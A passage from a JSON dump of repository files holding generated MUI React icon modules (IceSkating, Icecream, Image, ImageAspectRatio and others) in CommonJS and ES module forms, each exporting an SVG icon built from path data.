    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm7-13c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 18c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m0-2c-1.01 0-1.91-.39-2.62-1h5.24c-.71.61-1.61 1-2.62 1m0-8c1.01 0 1.91.39 2.62 1H9.38c.71-.61 1.61-1 2.62-1m-3.44 2h6.89c.26.45.44.96.51 1.5h-7.9c.06-.54.23-1.05.5-1.5m7.39 2.5c-.07.54-.24 1.05-.51 1.5H8.56c-.26-.45-.44-.96-.51-1.5z\"\n}, \"2\")], 'HvacTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/IceSkating.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 8.5c0-.28.22-.5.5-.5h2.52L11 7H8.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5H11V3H3v15h3v2H2v2h16c2.76 0 5-2.24 5-5h-2c0 1.66-1.34 3-3 3h-2v-2h3v-2.88c0-2.1-1.55-3.53-3.03-3.88l-2.7-.67c-.87-.22-1.57-.81-1.95-1.57H8.5c-.28 0-.5-.22-.5-.5M14 20H8v-2h6z\"\n}), 'IceSkating');"
  },
  {
    "path": "packages/mui-icons-material/lib/IceSkating.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 8.5c0-.28.22-.5.5-.5h2.52L11 7H8.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5H11V3H3v15h3v2H2v2h16c2.76 0 5-2.24 5-5h-2c0 1.66-1.34 3-3 3h-2v-2h3v-2.88c0-2.1-1.55-3.53-3.03-3.88l-2.7-.67c-.87-.22-1.57-.81-1.95-1.57H8.5c-.28 0-.5-.22-.5-.5M14 20H8v-2h6z\"\n}), 'IceSkating');"
  },
  {
    "path": "packages/mui-icons-material/lib/IceSkatingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 17c0 1.66-1.34 3-3 3h-2v-2h3v-4c0-1.79-1.19-3.34-2.91-3.82l-2.62-.74C12.62 9.19 12 8.39 12 7.5V3H3v15h3v2H2v2h16c2.76 0 5-2.24 5-5zM5 16V5h5v1H8.5c-.28 0-.5.22-.5.5s.22.5.5.5H10l.1 1H8.5c-.28 0-.5.22-.5.5s.22.5.5.5h1.81c.45 1.12 1.4 2.01 2.6 2.36l2.62.73C16.4 12.33 17 13.1 17 14v2zm9 4H8v-2h6z\"\n}), 'IceSkatingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/IceSkatingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 17c0 1.66-1.34 3-3 3h-2v-2h3v-4c0-1.79-1.19-3.34-2.91-3.82l-2.62-.74C12.62 9.19 12 8.39 12 7.5V3H3v15h3v2H2v2h16c2.76 0 5-2.24 5-5zM5 16V5h5v1H8.5c-.28 0-.5.22-.5.5s.22.5.5.5H10l.1 1H8.5c-.28 0-.5.22-.5.5s.22.5.5.5h1.81c.45 1.12 1.4 2.01 2.6 2.36l2.62.73C16.4 12.33 17 13.1 17 14v2zm9 4H8v-2h6z\"\n}), 'IceSkatingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/IceSkatingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.87 17c-.47 0-.85.34-.98.8-.35 1.27-1.51 2.2-2.89 2.2h-2v-2h1c1.1 0 2-.9 2-2v-.88c0-2.1-1.55-3.53-3.03-3.88l-2.7-.67c-.87-.22-1.57-.81-1.95-1.57H8.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h2.52L11 7H8.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5H11V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h1v2H3c-.55 0-1 .45-1 1s.45 1 1 1h15c2.33 0 4.29-1.6 4.84-3.75.17-.63-.32-1.25-.97-1.25M14 20H8v-2h6z\"\n}), 'IceSkatingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/IceSkatingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.87 17c-.47 0-.85.34-.98.8-.35 1.27-1.51 2.2-2.89 2.2h-2v-2h1c1.1 0 2-.9 2-2v-.88c0-2.1-1.55-3.53-3.03-3.88l-2.7-.67c-.87-.22-1.57-.81-1.95-1.57H8.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h2.52L11 7H8.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5H11V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h1v2H3c-.55 0-1 .45-1 1s.45 1 1 1h15c2.33 0 4.29-1.6 4.84-3.75.17-.63-.32-1.25-.97-1.25M14 20H8v-2h6z\"\n}), 'IceSkatingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/IceSkatingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 17c0 1.66-1.34 3-3 3h-2v-2h3l-.01-6-5.71-1.43c-.88-.22-1.58-.81-1.96-1.57H8V8h3.02L11 7H8V6h3V3H3v15h3v2H2v2h16c2.76 0 5-2.24 5-5zm-7 3H8v-2h6z\"\n}), 'IceSkatingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/IceSkatingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 17c0 1.66-1.34 3-3 3h-2v-2h3l-.01-6-5.71-1.43c-.88-.22-1.58-.81-1.96-1.57H8V8h3.02L11 7H8V6h3V3H3v15h3v2H2v2h16c2.76 0 5-2.24 5-5zm-7 3H8v-2h6z\"\n}), 'IceSkatingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/IceSkatingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 16V5h5v1H8.5c-.28 0-.5.22-.5.5s.22.5.5.5H10l.1 1H8.5c-.28 0-.5.22-.5.5s.22.5.5.5h1.81c.45 1.12 1.4 2.01 2.6 2.36l2.62.73C16.4 12.33 17 13.1 17 14v2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 17c0 1.66-1.34 3-3 3h-2v-2h3v-4c0-1.79-1.19-3.34-2.91-3.82l-2.62-.74C12.62 9.19 12 8.39 12 7.5V3H3v15h3v2H2v2h16c2.76 0 5-2.24 5-5zM5 16V5h5v1H8.5c-.28 0-.5.22-.5.5s.22.5.5.5H10l.1 1H8.5c-.28 0-.5.22-.5.5s.22.5.5.5h1.81c.45 1.12 1.4 2.01 2.6 2.36l2.62.73C16.4 12.33 17 13.1 17 14v2zm9 4H8v-2h6z\"\n}, \"1\")], 'IceSkatingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/IceSkatingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 16V5h5v1H8.5c-.28 0-.5.22-.5.5s.22.5.5.5H10l.1 1H8.5c-.28 0-.5.22-.5.5s.22.5.5.5h1.81c.45 1.12 1.4 2.01 2.6 2.36l2.62.73C16.4 12.33 17 13.1 17 14v2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 17c0 1.66-1.34 3-3 3h-2v-2h3v-4c0-1.79-1.19-3.34-2.91-3.82l-2.62-.74C12.62 9.19 12 8.39 12 7.5V3H3v15h3v2H2v2h16c2.76 0 5-2.24 5-5zM5 16V5h5v1H8.5c-.28 0-.5.22-.5.5s.22.5.5.5H10l.1 1H8.5c-.28 0-.5.22-.5.5s.22.5.5.5h1.81c.45 1.12 1.4 2.01 2.6 2.36l2.62.73C16.4 12.33 17 13.1 17 14v2zm9 4H8v-2h6z\"\n}, \"1\")], 'IceSkatingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Icecream.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"m8.79 12.4 3.26 6.22 3.17-6.21c-.11-.08-.21-.16-.3-.25-.84.53-1.85.84-2.92.84s-2.08-.31-2.92-.84c-.09.09-.19.17-.29.24m-1.96.59C5.25 12.9 4 11.6 4 10c0-1.49 1.09-2.73 2.52-2.96C6.75 4.22 9.12 2 12 2s5.25 2.22 5.48 5.04C18.91 7.27 20 8.51 20 10c0 1.59-1.24 2.9-2.81 2.99L12.07 23z\"\n}), 'Icecream');"
  },
  {
    "path": "packages/mui-icons-material/lib/Icecream.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"m8.79 12.4 3.26 6.22 3.17-6.21c-.11-.08-.21-.16-.3-.25-.84.53-1.85.84-2.92.84s-2.08-.31-2.92-.84c-.09.09-.19.17-.29.24m-1.96.59C5.25 12.9 4 11.6 4 10c0-1.49 1.09-2.73 2.52-2.96C6.75 4.22 9.12 2 12 2s5.25 2.22 5.48 5.04C18.91 7.27 20 8.51 20 10c0 1.59-1.24 2.9-2.81 2.99L12.07 23z\"\n}), 'Icecream');"
  },
  {
    "path": "packages/mui-icons-material/lib/IcecreamOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.38 6.24C17.79 3.24 15.14 1 12 1S6.21 3.24 5.62 6.24C4.08 6.81 3 8.29 3 10c0 2.21 1.79 4 4 4 .12 0 .23-.02.34-.02L12.07 23l4.61-9.03c.11.01.21.03.32.03 2.21 0 4-1.79 4-4 0-1.71-1.08-3.19-2.62-3.76m-6.33 12.39-2.73-5.21c.83.37 1.74.58 2.68.58.95 0 1.88-.21 2.72-.6zM17 12c-.52 0-1.01-.2-1.39-.56l-.56-.54-.66.42c-.71.44-1.53.68-2.39.68s-1.68-.24-2.39-.69l-.66-.41-.56.54c-.38.35-.87.56-1.39.56-1.1 0-2-.89-2-2 0-.98.72-1.82 1.68-1.97l.77-.13.06-.78C7.71 4.8 9.66 3 12 3s4.29 1.8 4.48 4.12l.06.78.77.12c.97.16 1.69.99 1.69 1.98 0 1.1-.9 2-2 2\"\n}), 'IcecreamOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/IcecreamOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.38 6.24C17.79 3.24 15.14 1 12 1S6.21 3.24 5.62 6.24C4.08 6.81 3 8.29 3 10c0 2.21 1.79 4 4 4 .12 0 .23-.02.34-.02L12.07 23l4.61-9.03c.11.01.21.03.32.03 2.21 0 4-1.79 4-4 0-1.71-1.08-3.19-2.62-3.76m-6.33 12.39-2.73-5.21c.83.37 1.74.58 2.68.58.95 0 1.88-.21 2.72-.6zM17 12c-.52 0-1.01-.2-1.39-.56l-.56-.54-.66.42c-.71.44-1.53.68-2.39.68s-1.68-.24-2.39-.69l-.66-.41-.56.54c-.38.35-.87.56-1.39.56-1.1 0-2-.89-2-2 0-.98.72-1.82 1.68-1.97l.77-.13.06-.78C7.71 4.8 9.66 3 12 3s4.29 1.8 4.48 4.12l.06.78.77.12c.97.16 1.69.99 1.69 1.98 0 1.1-.9 2-2 2\"\n}), 'IcecreamOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/IcecreamRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.38 6.24C17.79 3.24 15.14 1 12 1S6.21 3.24 5.62 6.24C4.08 6.81 3 8.29 3 10c0 2.21 1.79 4 4 4 .12 0 .23-.02.34-.02l3.83 7.31c.38.72 1.41.71 1.78-.01l3.73-7.31c.11.01.21.03.32.03 2.21 0 4-1.79 4-4 0-1.71-1.08-3.19-2.62-3.76m-6.33 12.39-2.73-5.21c.83.37 1.74.58 2.68.58.95 0 1.88-.21 2.72-.6z\"\n}), 'IcecreamRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/IcecreamRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.38 6.24C17.79 3.24 15.14 1 12 1S6.21 3.24 5.62 6.24C4.08 6.81 3 8.29 3 10c0 2.21 1.79 4 4 4 .12 0 .23-.02.34-.02l3.83 7.31c.38.72 1.41.71 1.78-.01l3.73-7.31c.11.01.21.03.32.03 2.21 0 4-1.79 4-4 0-1.71-1.08-3.19-2.62-3.76m-6.33 12.39-2.73-5.21c.83.37 1.74.58 2.68.58.95 0 1.88-.21 2.72-.6z\"\n}), 'IcecreamRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/IcecreamSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.38 6.24C17.79 3.24 15.14 1 12 1S6.21 3.24 5.62 6.24C4.08 6.81 3 8.29 3 10c0 2.21 1.79 4 4 4 .12 0 .23-.02.34-.02L12.07 23l4.61-9.03c.11.01.21.03.32.03 2.21 0 4-1.79 4-4 0-1.71-1.08-3.19-2.62-3.76m-6.33 12.39-2.73-5.21c.83.37 1.74.58 2.68.58.95 0 1.88-.21 2.72-.6z\"\n}), 'IcecreamSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/IcecreamSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.38 6.24C17.79 3.24 15.14 1 12 1S6.21 3.24 5.62 6.24C4.08 6.81 3 8.29 3 10c0 2.21 1.79 4 4 4 .12 0 .23-.02.34-.02L12.07 23l4.61-9.03c.11.01.21.03.32.03 2.21 0 4-1.79 4-4 0-1.71-1.08-3.19-2.62-3.76m-6.33 12.39-2.73-5.21c.83.37 1.74.58 2.68.58.95 0 1.88-.21 2.72-.6z\"\n}), 'IcecreamSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/IcecreamTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.32 13.42 2.73 5.21 2.67-5.23c-.84.39-1.77.6-2.72.6-.94 0-1.85-.21-2.68-.58m7.99-5.4-.77-.12-.06-.78C16.29 4.8 14.34 3 12 3S7.71 4.8 7.51 7.12l-.06.78-.77.13C5.72 8.18 5 9.02 5 10c0 1.11.9 2 2 2 .52 0 1.01-.21 1.39-.56l.56-.54.66.41c.71.45 1.53.69 2.39.69s1.68-.24 2.39-.68l.66-.42.56.54c.38.36.87.56 1.39.56 1.1 0 2-.9 2-2 0-.99-.72-1.82-1.69-1.98\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.38 6.24C17.79 3.24 15.14 1 12 1S6.21 3.24 5.62 6.24C4.08 6.81 3 8.29 3 10c0 2.21 1.79 4 4 4 .12 0 .23-.02.34-.02L12.07 23l4.61-9.03c.11.01.21.03.32.03 2.21 0 4-1.79 4-4 0-1.71-1.08-3.19-2.62-3.76m-6.33 12.39-2.73-5.21c.83.37 1.74.58 2.68.58.95 0 1.88-.21 2.72-.6zM17 12c-.52 0-1.01-.2-1.39-.56l-.56-.54-.66.42c-.71.44-1.53.68-2.39.68s-1.68-.24-2.39-.69l-.66-.41-.56.54c-.38.35-.87.56-1.39.56-1.1 0-2-.89-2-2 0-.98.72-1.82 1.68-1.97l.77-.13.06-.78C7.71 4.8 9.66 3 12 3s4.29 1.8 4.48 4.12l.06.78.77.12c.97.16 1.69.99 1.69 1.98 0 1.1-.9 2-2 2\"\n}, \"1\")], 'IcecreamTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/IcecreamTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.32 13.42 2.73 5.21 2.67-5.23c-.84.39-1.77.6-2.72.6-.94 0-1.85-.21-2.68-.58m7.99-5.4-.77-.12-.06-.78C16.29 4.8 14.34 3 12 3S7.71 4.8 7.51 7.12l-.06.78-.77.13C5.72 8.18 5 9.02 5 10c0 1.11.9 2 2 2 .52 0 1.01-.21 1.39-.56l.56-.54.66.41c.71.45 1.53.69 2.39.69s1.68-.24 2.39-.68l.66-.42.56.54c.38.36.87.56 1.39.56 1.1 0 2-.9 2-2 0-.99-.72-1.82-1.69-1.98\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.38 6.24C17.79 3.24 15.14 1 12 1S6.21 3.24 5.62 6.24C4.08 6.81 3 8.29 3 10c0 2.21 1.79 4 4 4 .12 0 .23-.02.34-.02L12.07 23l4.61-9.03c.11.01.21.03.32.03 2.21 0 4-1.79 4-4 0-1.71-1.08-3.19-2.62-3.76m-6.33 12.39-2.73-5.21c.83.37 1.74.58 2.68.58.95 0 1.88-.21 2.72-.6zM17 12c-.52 0-1.01-.2-1.39-.56l-.56-.54-.66.42c-.71.44-1.53.68-2.39.68s-1.68-.24-2.39-.69l-.66-.41-.56.54c-.38.35-.87.56-1.39.56-1.1 0-2-.89-2-2 0-.98.72-1.82 1.68-1.97l.77-.13.06-.78C7.71 4.8 9.66 3 12 3s4.29 1.8 4.48 4.12l.06.78.77.12c.97.16 1.69.99 1.69 1.98 0 1.1-.9 2-2 2\"\n}, \"1\")], 'IcecreamTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Image.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2M8.5 13.5l2.5 3.01L14.5 12l4.5 6H5z\"\n}), 'Image');"
  },
  {
    "path": "packages/mui-icons-material/lib/Image.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2M8.5 13.5l2.5 3.01L14.5 12l4.5 6H5z\"\n}), 'Image');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageAspectRatio.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 10h-2v2h2zm0 4h-2v2h2zm-8-4H6v2h2zm4 0h-2v2h2zm8-6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}), 'ImageAspectRatio');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageAspectRatio.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 10h-2v2h2zm0 4h-2v2h2zm-8-4H6v2h2zm4 0h-2v2h2zm8-6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}), 'ImageAspectRatio');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageAspectRatioOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 10h-2v2h2zm0 4h-2v2h2zm-8-4H6v2h2zm4 0h-2v2h2zm8-6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}), 'ImageAspectRatioOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageAspectRatioOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 10h-2v2h2zm0 4h-2v2h2zm-8-4H6v2h2zm4 0h-2v2h2zm8-6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}), 'ImageAspectRatioOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageAspectRatioRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 10h-2v2h2zm0 4h-2v2h2zm-8-4H6v2h2zm4 0h-2v2h2zm8-6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-1 14H5c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h14c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1\"\n}), 'ImageAspectRatioRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageAspectRatioRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 10h-2v2h2zm0 4h-2v2h2zm-8-4H6v2h2zm4 0h-2v2h2zm8-6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-1 14H5c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h14c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1\"\n}), 'ImageAspectRatioRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageAspectRatioSharp.js",
